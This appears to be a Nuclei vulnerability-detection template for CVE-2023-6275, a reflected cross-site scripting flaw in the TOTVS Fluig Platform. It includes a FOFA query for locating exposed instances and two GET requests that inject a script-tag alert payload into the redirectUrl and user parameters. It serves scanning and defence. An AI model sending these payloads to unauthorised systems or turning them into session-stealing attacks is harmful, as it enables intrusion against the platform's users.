TOTVS Fluig Platform - Cross-Site Scripting

id: CVE-2023-6275

info:
  name: TOTVS Fluig Platform - Cross-Site Scripting
  author: s4e-io
  severity: medium
  description: |
    A vulnerability was found in TOTVS Fluig Platform 1.6.x/1.7.x/1.8.0/1.8.1. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /mobileredir/openApp.jsp of the component mobileredir. The manipulation of the argument redirectUrl/user with the input "><script>alert(document.domain)</script> leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript via reflected XSS in the redirectUrl and user parameters, potentially stealing user session cookies or redirecting users to malicious sites.
  remediation: |
    Update TOTVS Fluig Platform to a version newer than 1.8.1 that properly sanitizes user input.
  reference:
    - https://github.com/erickfernandox/CVE-2023-6275
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6275
    - https://vuldb.com/?id.246104
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-6275
    cwe-id: CWE-79
    epss-score: 0.02379
    epss-percentile: 0.81888
    cpe: cpe:2.3:a:totvs:fluig:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: totvs
    product: fluig
    fofa-query: app="TOTVS-Fluig"
  tags: cve,cve2023,xss,fluig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/mobileredir/openApp.jsp?redirectUrl=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
      - "{{BaseURL}}/mobileredir/openApp.jsp?user=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>'
          - 'fluig://'
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
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